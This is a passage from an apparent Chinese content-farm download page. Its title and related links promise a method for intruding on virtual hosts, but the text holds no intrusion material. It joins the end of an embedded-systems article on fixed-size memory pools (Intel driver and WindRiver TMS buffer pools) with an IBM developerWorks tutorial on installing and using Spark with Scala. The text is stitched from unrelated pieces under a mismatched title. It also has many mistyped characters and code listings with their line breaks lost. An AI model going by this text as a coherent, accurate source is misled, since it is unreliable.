注意这里有一个小技巧,即数据单元在空闲时其中存放空闲链表的节点信息,而分配后则存放数据内容。

◆block_free:释放1个数据单元,返回块内存管理器。小心不要对1个单元释放2次。参数为BlockMemMgr和单元指针。

①参数合法性检测。

②地址比较,判断数据单元属于哪个块。

③判断数据单元的内容是否为空闲链表节点信息(也就是块内某单元的地址),从而确定是否为2次释放。

④将该数据单元插入到空闲链表的前面。

⑤引用该单元的指针设为NULL。

内存管理代码遵守如下约定:①管理的内存是实际可写的内存;②分配内存是4字节或32位对齐;③block_malloc、block_free在中断级调用是部分安全的,除非BLOCK中已经没有空闲CELL,需要重新调用malloc分配新的BLOCK(而malloc和free就不是安全的,因为其中使用了信号量和搜索算法,容易引起中断服务程序阻塞)。当然,block_mem_create和block_mem_destroy必须在进程级调用。

4.2 TMS中的内存分配

TMS是WindRiver公司为可管理式交换机推出的开发包。它用用IDB来管理各种协议的数据,比如STP和GVRP等。为了支持IDB,它建立了自己的缓冲池管理方案,程序在bufPoolLib.c中。该程序包含用于缓冲池管理的函数,这些函数允许从1个池中分配固定数目和大小的缓冲区。通过预先分

配一定数目固定大小的缓冲区,避免了反复的小的内存块分配/释放相关联的内存碎片和浪费。既然它从1个单一的块中分配缓冲池,也比对每一个缓冲区执行1次分配有更高的空间效率。模块对每个缓冲区加上1个标记(MAGIC),释放时会检查标记。模块给用户提供分配和释放操作定义回调函数的能力。这样可以做到自动的对象创建和解构,同时允许由多个缓冲池分配的成员组成的对象做为1个单一的实体删除。这类似于C++中自动的对象构建和解构,不过是用C语言并且没有堆栈分配的负担。模块既允许从堆栈中分配缓冲池(通过calloc),也可以在用户分配的空间中创建它们。模块用1个单向链表来维护未分配的缓冲区,但不跟踪已分配的缓冲区。模块并不是任务安全的,用户需要用信号时来保护缓冲池。

(1)缓冲池结构

typedef struct

{

ulong_t magic; /*用于一致性检测的特殊标记*/

Boolean localAlloc; /*内存是否在创建缓冲区时分配*/

SL_LIST freeList; /*空闲链表*/

Void store; /*缓冲区指向的内存指针*/

STATUS(*createFn)(void*,ulong_t argl); /*创建缓冲区时的回调函数指针*/

STATUS(*destroyFn)(void*,ulong_targl);/*释放缓冲区时的回调函数指针*/

Ulong_t argVal;/*回调函数的参数*/

} buf_pool_t;

结构中的参数包括检查标记MAGIC、是否本地分配、空闲链表、内存指针、创建缓冲池的回调函数指针、释放时的回调函数指针、回调函数参数。

(2)相关函数

◆BufPoolInitializeStorage:分配和初始化存储区。参数包括存储区地址(如为NULL,则本地分配)、缓冲区大小、缓冲区个数。

①根据缓冲区大小和个数获得所需的内存大小。

②如果指针为NULL,则调用calloc分配内存。设置本地分配标志。

③初始化内存为0。

④初始化指针。分配的内存块最前面为缓冲池结构buf_pool_t。实际的存储区紧随其后。Buf_pool_t包含参数检查标记、是否本地分配、存储区地址、分配时回调函数、释放时回调函数、回调函数变量。此时只设置存储区指针。

◆BufPoolCreate:创建缓冲池。参数为内存制止。缓冲区尺寸和个数,创建时回调函数、释放时回调函数、回调函数参数。

①尺寸对齐。

②调用bufPoolInitializeStorage初始化内存区和buf_pool_t结构。

③用传入参数填充buf_pool_t结构。

④将缓冲区添加到空闲链表中,最后的缓冲区在最前面。

◆BufPoolDestroy:删除缓冲池。参数为buf_pool_t指针。

①检查缓冲池结构中的MAGIC字段是否被个性。

②如果是本地分配的则翻放内存区。

◆BufPoolAlloc:从缓冲池中分配一个缓冲区,参数为缓冲池结构指针。如果存在空闲缓冲区,则从空闲链表中除并提供给调用者,执行创建时回调函数。如果回调函数返回错误,则将缓冲区返还给空闲链表。

①检查缓冲池结构中的MAGIC标记是否完好。

②从空闲链表中取出头一个节点。

③如果节点不为空,清空节点,以其地址为参数调用回调函数。

④如果回调函数返回错误,则将节点还给空闲链表。

⑤返回得到空闲缓冲区地址。

◆BufPoolFree:将缓冲区返回给缓冲池。如果定义了回调函数,将在归还缓冲之间调用回调函数。参数为缓冲池结构和缓冲区指针。

①缓冲池MAGIC标记是否完好。

②如果定义回调函数、调用之。如果返回错误,则设置错误号。

③将缓冲区添加到空闲链表中头部。

注意该函数有2点:①回调函数返回错误,照样归还缓冲区。②没有检查缓冲区是否二次释放,这一点与Intel的驱动程序不同。

另外,TMS的缓冲池没有BLOCK要领,不需要判断哪个CELL属于哪个BLO

CK,简化 了操作。

5 小结

许多嵌入式应用在RTOS提供的malloc/free的基础上编写自己的内存管理方案。编写这样的内存管理方案,目的无非有两个:一是减少对malloc/free的依赖,从而避免由之带来的内存碎片、时间不确定等总是;另一个是增强程序的查错能力,送还内存使用错误。对于在嵌入式系统中广泛存在的数据库类型的内存需求,即分配多个固定尺寸的内存单元的要求,“一闪分配,多次使用”的方案无疑是一种很好的解决之道。文中介绍的2个例子很好地体现了它的优越性。

篇8:Spark,一种快速数据分析替代方案

虽然 Hadoop 在分布式数据分析方面备受关注,但是仍有一些替代产品提供了优于典型 Hadoop平台的令人关注的优势,Spark 是一种可扩展的数据分析平台,它整合了内存计算的基元,因此,相对于 Hadoop 的集群存储方法,它在性能方面更具优势。Spark 是在 Scala 语言中实现的,并且利用了该语言,为数据处理提供了独一无二的环境。了解 Spark 的集群计算方法以及它与 Hadoop 的不同之处。

Spark 是一种与 Hadoop 相似的开源集群计算环境,但是两者之间还存在一些不同之处,这些有用的不同之处使 Spark 在某些工作负载方面表现得更加优越,换句话说,Spark 启用了内存分布数据集,除了能够提供交互式查询外,它还可以优化迭代工作负载。

Spark 是在 Scala 语言中实现的,它将 Scala 用作其应用程序框架。与 Hadoop 不同,Spark 和 Scala 能够紧密集成,其中的 Scala 可以像操作本地集合对象一样轻松地操作分布式数据集。

尽管创建 Spark 是为了支持分布式数据集上的迭代作业,但是实际上它是对 Hadoop 的补充,可以在 Hadoo 文件系统中并行运行。通过名为Mesos的第三方集群框架可以支持此行为。Spark 由加州大学伯克利分校 AMP 实验室 (Algorithms, Machines, and People Lab) 开发,可用来构建大型的、低延迟的数据分析应用程序。

Spark 集群计算架构

虽然 Spark 与 Hadoop 有相似之处,但它提供了具有有用差异的一个新的集群计算框架。首先,Spark 是为集群计算中的特定类型的工作负载而设计,即那些在并行操作之间重用工作数据集(比如机器学习算法)的工作负载。为了优化这些类型的工作负 载,Spark 引进了内存集群计算的概念,可在内存集群计算中将数据集缓存在内存中,以缩短访问延迟。

Spark 还引进了名为弹性分布式数据集(RDD) 的抽象。RDD 是分布在一组节点中的只读对象集合。这些集合是弹性的,如果数据集一部分丢失,则可以对它们进行重建。重建部分数据集的过程依赖于容错机制,该机制可以维护 “血统”(即充许基于数据衍生过程重建部分数据集的信息)。RDD 被表示为一个 Scala 对象,并且可以从文件中创建它;一个并行化的切片(遍布于节点之间);另一个 RDD 的转换形式;并且最终会彻底改变现有 RDD 的持久性,比如请求缓存在内存中。

Spark 中的应用程序称为驱动程序,这些驱动程序可实现在单一节点上执行的操作或在一组节点上并行执行的操作。与 Hadoop 类似,Spark 支持单节点集群或多节点集群。对于多节点操作,Spark 依赖于 Mesos 集群管理器。Mesos 为分布式应用程序的资源共享和隔离提供了一个有效平台(参见 图 1)。该设置充许 Spark 与 Hadoop 共存于节点的一个共享池中。

图 1. Spark 依赖于 Mesos 集群管理器实现资源共享和隔离。

Spark 编程模式

驱动程序可以在数据集上执行两种类型的操作:动作和转换。动作会在数据集上执行一个计算,并向驱动程序返回一个值;而转换会从现有数据集中创建一个新的数据集。动作的示例包括执行一个 Reduce 操作(使用函数)以及在数据集上进行迭代(在每个元素上运行一个函数,类似于 Map 操作)。转换示例包括 Map 操作和 Cache 操作(它请求新的数据集存储在内存中)。

我们随后就会看看这两个操作的示例,但是,让我们先来了解一下 Scala 语言。

Scala 简介

Scala 可能是 Internet 上不为人知的秘密之一。您可以在一些最繁忙的 Internet 网站(如 Twitter、LinkedIn 和 Foursquare,Foursquare 使用了名为Lift的 Web 应用程序框架)的制作过程中看到 Scala 的身影。还有证据表明,许多金融机构已开始关注 Scala 的性能(比如 EDF Trading 公司将 Scala 用于衍生产品定价)。

Scala 是一种多范式语言,它以一种流畅的、让人感到舒服的方法支持与命令式、函数式和面向对象的语言相关的语言特性。从面向对象的角度来看,Scala 中的每个值都是一个对象。同样,从函数观点来看,每个函数都是一个值。Scala 也是属于静态类型,它有一个既有表现力又很安全的类型系统。

此外,Scala 是一种虚拟机 (VM) 语言,并且可以通过 Scala 编译器生成的字节码,直接运行在使用 Java Runtime Environment V2 的 Java? Virtual Machine (JVM) 上。该设置充许 Scala 运行在运行 JVM 的任何地方(要求一个额外的 Scala 运行时库)。它还充许 Scala 利用大量现存的 Java 库以及现有的 Java 代码。

最后,Scala 具有可扩展性。该语言(它实际上代表了可扩展语言)被定义为可直接集成到语言中的简单扩展。

举例说明 Scala

让我们来看一些实际的 Scala 语言示例。Scala 提供自身的解释器,充许您以交互方式试用该语言。Scala 的有用处理已超出本文所涉及的范围,但是您可以在 参考资料 中找到更多相关信息的链接。

清单 1 通过 Scala 自身提供的解释器开始了快速了解 Scala 语言之旅。启用 Scala 后,系统会给出提示,通过该提示,您可以以交互方式评估表达式和程序。我们首先创建了两个变量,一个是不可变变量(即vals,称作单赋值),另一个变量是可变变量 (vars)。注意,当您试图更改b(您的var)时,您可以成功地执行此操作,但是,当您试图更改val时,则会返回一个错误。

清单 1. Scala 中的简单变量

$scalaWelcome to Scala version 2.8.1.final (OpenJDK Client VM, Java 1.6.0_20).Type in expressions to have them evaluated.Type :help for more information. scala>val a = 1a: Int = 1 scala>var b = 2b: Int = 2 scala>b = b + ab: Int = 3 scala>a = 26: error: reassignment to val a = 2 ^

接下来,创建一个简单的方法来计算和返回Int的平方值。在 Scala 中定义一个方法得先从def开始,后跟方法名称和参数列表,然后,要将它设置为语句的数量(在本示例中为 1)。无需指定任何返回值,因为可以从方法本身推断出该值。注意,这类似于为变量赋值。在一个名为3的对象和一个名为res0的结果变量(Scala 解释器会自动为您创建该变量)上,我演示了这个过程。这些都显示在 清单 2 中。

清单 2. Scala 中的一个简单方法

scala>def square(x: Int) = x*xsquare: (x: Int)Int scala>square(3)res0: Int = 9scala>square(res0)res1: Int = 81

接下来,让我们看一下 Scala 中的一个简单类的构建过程(参见 清单 3)。定义一个简单的Dog类来接收一个String参数(您的名称构造函数)。注意,这里的类直接采用了该参数(无需在类的正文中定义类参数)。还有一个定义该参数的方法,可在调用参数时发送一个字符串。您要创建一个新的类实例,然后调用您的方法。注意,解释器会插入一些竖线:它们不属于代码。

清单 3. Scala 中的一个简单的类

scala>class Dog( name: String ) {|def bark() = println(name + “ barked”)|}defined class Dog scala>val stubby = new Dog(“Stubby”)stubby: Dog = Dog@1dd5a3d scala>stubby.barkStubby barked scala>

完成上述操作后,只需输入:quit即可退出 Scala 解释器。

安装 Scala 和 Spark

第一步是下载和配置 Scala。清单 4 中显示的命令阐述了 Scala 安装的下载和准备工作。使用 Scala v2.8,因为这是经过证实的 Spark 所需的版本。

清单 4. 安装 Scala

$wget www.scala-lang.org/downloads/distrib/files/scala-2.8.1.final.tgz$sudo tar xvfz scala-2.8.1.final.tgz --directory /opt/

要使 Scala 可视化,请将下列行添加至您的 .bashrc 中(如果您正使用 Bash 作为 shell):

export SCALA_HOME=/opt/scala-2.8.1.finalexport PATH=$SCALA_HOME/bin:$PATH

接着可以对您的安装进行测试,如 清单 5 所示。这组命令会将更改加载至 bashrc 文件中,接着快速测试 Scala 解释器 shell。

清单 5. 配置和运行交互式 Scala

$scalaWelcome to Scala version 2.8.1.final (OpenJDK Client VM, Java 1.6.0_20).Type in expressions to have them evaluated.Type :help for more information.scala>println(“Scala is installed!”)Scala is installed!scala>:quit$

如清单中所示,现在应该看到一个 Scala 提示。您可以通过输入:quit执行退出。注意,Scala 要在 JVM 的上下文中执行操作,所以您会需要 JVM。我使用的是 Ubuntu,它在默认情况下会提供 OpenJDK。

接下来,请获取最新的 Spark 框架副本。为此,请使用 清单 6 中的脚本。

清单 6. 下载和安装 Spark 框架

wget github.com/mesos/spark/tarball/0.3-scala-2.8/mesos-spark-0.3-scala-2.8-0-gc86af80.tar.gz$ sudo tar xvfz mesos-spark-0.3-scala-2.8-0-gc86af80.tar.gz

接下来,使用下列行将 spark 配置设置在 Scala 的根目录 ./conf/spar-env.sh 中:

export SCALA_HOME=/opt/scala-2.8.1.final

设置的最后一步是使用简单的构建工具 (sbt) 更新您的分布,

sbt是一款针对 Scala 的构建工具,用于 Spark 分布中。您可以在 mesos-spark-c86af80 子目录中执行更新和变异步骤,如下所示:

$sbt/sbt update compile

注意,在执行此步骤时,需要连接至 Internet。当完成此操作后,请执行 Spark 快速检测,如 清单 7 所示。 在该测试中,需要运行 SparkPi 示例,它会计算 pi 的估值(通过单位平方中的任意点采样)。所显示的格式需要样例程序 (spark.examples.SparkPi) 和主机参数,该参数定义了 Mesos 主机(在此例中,是您的本地主机,因为它是一个单节点集群)和要使用的线程数量。注意,在 清单 7 中,执行了两个任务,而且这两个任务被序列化(任务 0 开始和结束之后,任务 1 再开始)。

清单 7. 对 Spark 执行快速检测

$./run spark.examples.SparkPi local[1]11/08/26 19:52:33 INFO spark.CacheTrackerActor: Registered actor on port 5050111/08/26 19:52:33 INFO spark.MapOutputTrackerActor: Registered actor on port 5050111/08/26 19:52:33 INFO spark.SparkContext: Starting job...11/08/26 19:52:33 INFO spark.CacheTracker: Registering RDD ID 0 with cache11/08/26 19:52:33 INFO spark.CacheTrackerActor: Registering RDD 0 with 2 partitions11/08/26 19:52:33 INFO spark.CacheTrackerActor: Asked for current cache locations11/08/26 19:52:33 INFO spark.LocalScheduler: Final stage: Stage 011/08/26 19:52:33 INFO spark.LocalScheduler: Parents of final stage: List()11/08/26 19:52:33 INFO spark.LocalScheduler: Missing parents: List()11/08/26 19:52:33 INFO spark.LocalScheduler: Submitting Stage 0, which has no missing ...11/08/26 19:52:33 INFO spark.LocalScheduler: Running task 011/08/26 19:52:33 INFO spark.LocalScheduler: Size of task 0 is 1385 bytes11/08/26 19:52:33 INFO spark.LocalScheduler: Finished task 011/08/26 19:52:33 INFO spark.LocalScheduler: Running task 111/08/26 19:52:33 INFO spark.LocalScheduler: Completed ResultTask(0, 0)11/08/26 19:52:33 INFO spark.LocalScheduler: Size of task 1 is 1385 bytes11/08/26 19:52:33 INFO spark.LocalScheduler: Finished task 111/08/26 19:52:33 INFO spark.LocalScheduler: Completed ResultTask(0, 1)11/08/26 19:52:33 INFO spark.SparkContext: Job finished in 0.145892763 sPi is roughly 3.14952$

通过增加线程数量,您不仅可以增加线程执行的并行化,还可以用更少的时间执行作业(如 清单 8 所示)。

清单 8. 对包含两个线程的 Spark 执行另一个快速检测

$./run spark.examples.SparkPi local[2]11/08/26 20:04:30 INFO spark.MapOutputTrackerActor: Registered actor on port 5050111/08/26 20:04:30 INFO spark.CacheTrackerActor: Registered actor on port 5050111/08/26 20:04:30 INFO spark.SparkContext: Starting job...11/08/26 20:04:30 INFO spark.CacheTracker: Registering RDD ID 0 with cache11/08/26 20:04:30 INFO spark.CacheTrackerActor: Registering RDD 0 with 2 partitions11/08/26 20:04:30 INFO spark.CacheTrackerActor: Asked for current cache locations11/08/26 20:04:30 INFO spark.LocalScheduler: Final stage: Stage 011/08/26 20:04:30 INFO spark.LocalScheduler: Parents of final stage: List()11/08/26 20:04:30 INFO spark.LocalScheduler: Missing parents: List()11/08/26 20:04:30 INFO spark.LocalScheduler: Submitting Stage 0, which has no missing ...11/08/26 20:04:30 INFO spark.LocalScheduler: Running task 011/08/26 20:04:30 INFO spark.LocalScheduler: Running task 111/08/26 20:04:30 INFO spark.LocalScheduler: Size of task 1 is 1385 bytes11/08/26 20:04:30 INFO spark.LocalScheduler: Size of task 0 is 1385 bytes11/08/26 20:04:30 INFO spark.LocalScheduler: Finished task 011/08/26 20:04:30 INFO spark.LocalScheduler: Finished task 111/08/26 20:04:30 INFO spark.LocalScheduler: Completed ResultTask(0, 1)11/08/26 20:04:30 INFO spark.LocalScheduler: Completed ResultTask(0, 0)11/08/26 20:04:30 INFO spark.SparkContext: Job finished in 0.101287331 sPi is roughly 3.14052$

使用 Scala 构建一个简单的 Spark 应用程序

要构建 Spark 应用程序,您需要单一 Java 归档 (JAR) 文件形式的 Spark 及其依赖关系。使用sbt在 Spark 的顶级目录中创建该 JAR 文件,如下所示:

$ sbt/sbt assembly

结果产生一个文件 ./core/target/scala_2.8.1/“Spark Core-assembly-0.3.jar”。将该文件添加至您的 CLASSPATH 中,以便可以访问它。在本示例中,不会用到此 JAR 文件,因为您将会使用 Scala 解释器运行它,而不是对其进行编译。

在本示例中,使用了标准的 MapReduce 转换(如 清单 9 所示)。该示例从执行必要的 Spark 类导入开始。接着,需要定义您的类 (SparkTest) 及其主方法,用它解析稍后使用的参数。这些参数定义了执行 Spark 的环境(在本例中,该环境是一个单节点集群)。接下来,要创建SparkContext对象,它会告知 Spark 如何对您的集群进行访问。该对象需要两个参数:Mesos 主机名称(已传入)以及您分配给作业的名称 (SparkTest)。解析命令行中的切片数量,它会告知 Spark 用于作业的线程数量。要设置的最后一项是指定用于 MapReduce 操作的文本文件。

最后,您将了解 Spark 示例的实质,它是由一组转换组成。使用您的文件时,可调用flatMap方法返回一个 RDD(通过指定的函数将文本行分解为标记)。然后通过map方法(该方法创建了键值对)传递此 RDD ,最终通过ReduceByKey方法合并键值对。合并操作是通过将键值对传递给_ + _匿名函数来完成的。该函数只采用两个参数(密钥和值),并返回将两者合并所产生的结果(一个String和一个Int)。接着以文本文件的形式发送该值(到输出目录)。

清单 9. Scala/Spark 中的 MapReduce (SparkTest.scala)

import spark.SparkContextimport SparkContext._ object SparkTest { def main( args: Array[String]) { if (args.length == 0) {System.err.println(“Usage: SparkTest[]”)System.exit(1) } val spark = new SparkContext(args(0), “SparkTest”) val slices = if (args.length >1) args(1).toInt else 2 val myFile = spark.textFile(“test.txt”) val counts = myFile.flatMap(line =>line.split(“ ”)).map(word =>(word, 1)).reduceByKey(_ + _) counts.saveAsTextFile(“out.txt”) } } SparkTest.main(args)

要执行您的脚本,只需要执行以下命令:

$scala SparkTest.scala local[1]

您可以在输出目录中找到 MapReduce 测试文件(如 output/part-00000)。

其他的大数据分析框架

自从开发了 Hadoop 后,市场上推出了许多值得关注的其他大数据分析平台。这些平台范围广阔,从简单的基于脚本的产品到与 Hadoop 类似的生产环境。

名为bashreduce的平台是这些平台中最简单的平台之一,顾名思义,它充许您在 Bash 环境中的多个机器上执行 MapReduce 类型的操作。bashreduce依赖于您计划使用的机器集群的 Secure Shell(无密码),并以脚本的形式存在,通过它,您可以使用 UNIX®-style. 工具(sortawknetcat等)请求作业。

GraphLab 是另一个受人关注的 MapReduce 抽象实现,它侧重于机器学习算法的并行实现。在 GraphLab 中,Map 阶段会定义一些可单独(在独立主机上)执行的计算指令,而 Reduce 阶段会对结果进行合并。

最后,大数据场景的一个新成员是来自 Twitter 的 Storm(通过收购 BackType 获得)。Storm 被定义为 “实时处理的 Hadoop”,它主要侧重于流处理和持续计算(流处理可以得出计算的结果)。Storm 是用 Clojure 语言(Lisp 语言的一种方言)编写的,但它支持用任何语言(比如 Ruby 和 Python)编写的应用程序。Twitter 于 2011 年 9 月以开源形式发布 Storm。

结束语

Spark 是不断壮大的大数据分析解决方案家族中备受关注的新增成员。它不仅为分布数据集的处理提供一个有效框架,而且以高效的方式(通过简洁的 Scala 脚本)处理分布数据集。Spark 和 Scala 都处在积极发展阶段。不过,由于关键 Internet 属性中采用了它们,两者似乎都已从受人关注的开源软件过渡成为基础 Web 技术。

文章出处:IBM developerWorks

【一种入侵虚拟主机的简单方案】相关文章:

1.入侵检测

2.一种基于入侵检测的数据库安全审计

3.海葵入侵作文

4.网络语言的入侵

5.双线虚拟主机对网站运营的影响

6.再记一次网站入侵网站安全

7.作文素材:蚂蚁入侵记

8.实例入侵一游戏交易网

9.linux入侵常用命令服务器教程

10.简单的同学会活动方案

下载word文档
《一种入侵虚拟主机的简单方案.doc》
将本文的Word文档下载到电脑,方便收藏和打印
推荐度: 评级1星 评级2星 评级3星 评级4星 评级5星
点击下载文档

文档为doc格式

  • 返回顶部